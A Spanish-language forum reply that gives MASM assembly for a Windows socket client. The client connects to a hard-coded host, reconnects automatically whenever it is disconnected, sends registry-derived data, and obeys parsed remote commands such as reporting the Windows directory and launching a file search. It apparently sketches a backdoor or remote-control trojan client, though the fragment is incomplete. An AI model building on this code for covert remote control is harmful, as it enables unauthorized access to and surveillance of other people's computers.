En MASM:
Lo podes declarar algo asi al socket:
ThreadProc PROC
invoke Sleep, 5000
invoke WSAStartup, addr WsaV, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov Sock, eax
invoke WSAAsyncSelect, Sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET
invoke inet_addr, addr Direc
mov sa.sin_addr, eax
invoke htons, Puerto
mov sa.sin_port, ax
invoke connect, Sock, addr sa, sizeof sa
ret
ThreadProc ENDP
Y lo usas algo asi:
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage, NULL
.ELSEIF uMsg==WM_CREATE
mov eax, OFFSET ThreadCop
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, addr ThreadID2
invoke CloseHandle, eax
.ELSEIF uMsg==WM_FINISH
;El Thread Copiar Termino, Inicio El Thread Conectar..
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
.ELSEIF uMsg==WM_SOCK
mov edx, lParam
.IF dx==FD_CONNECT
shr edx, 16
.IF dx==NULL
; Si dx esta vacio, significa conexion exitosa, sino podemos evaluar el ErrorCode
; en dx, los errores son constantes
invoke wsprintf, addr Cnex, addr Saludo, addr RegBuffer
invoke send, Sock, addr Cnex, sizeof Cnex, 0
.ELSE
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
.ENDIF
.ELSEIF dx==FD_CLOSE
shr edx, 16
.IF dx!=NULL
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
; Podemos evaluar a dx para saber el ErrorCode, en este caso no se precisa,, cualquier
; Desconexion remota significa volver a conectarse ;)
.ENDIF
.ELSEIF dx==FD_READ
shr edx, 16
.IF dx==NULL
invoke memfill, addr buffer, sizeof buffer, 0
invoke memfill, addr Dato1, sizeof Dato1, 0
invoke memfill, addr Dato2, sizeof Dato2, 0
invoke recv, Sock, addr buffer, SIZEOF buffer, 0
mov ecx, -1
mov ebx, -1
Repite:
inc ecx
mov al, byte ptr ds:[buffer + ecx]
cmp al, '|'
je Salta
mov [Dato1 + ecx], al
jmp Repite
Salta:
inc ecx
inc ebx
cmp byte ptr ds:[buffer + ecx], 0
je Salir
mov al, byte ptr ds:[buffer + ecx]
mov [Dato2 + ebx], al
jmp Salta
Salir:
invoke szCmp, addr Dato1, addr Find
.if eax!=0
invoke szCmp, addr Dato2, addr WinDir
.if eax!=0
invoke LoadLibrary, addr Kn32
invoke GetProcAddress, eax, addr GWD
push MAX_PATH
push offset Ruta
call eax
invoke wsprintf, addr WinR, addr WinFrmt, addr Ruta
invoke send, Sock, addr WinR, sizeof WinR, 0
invoke wsprintf, addr Bfr, addr Frmt, addr Ruta
mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Bfr, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax
.else
mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Dato2, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax
.endif
.endif
.ENDIF
Es complicado entenderlo asi.. pero a lo mejor te puede dar una idea..
Suerte!!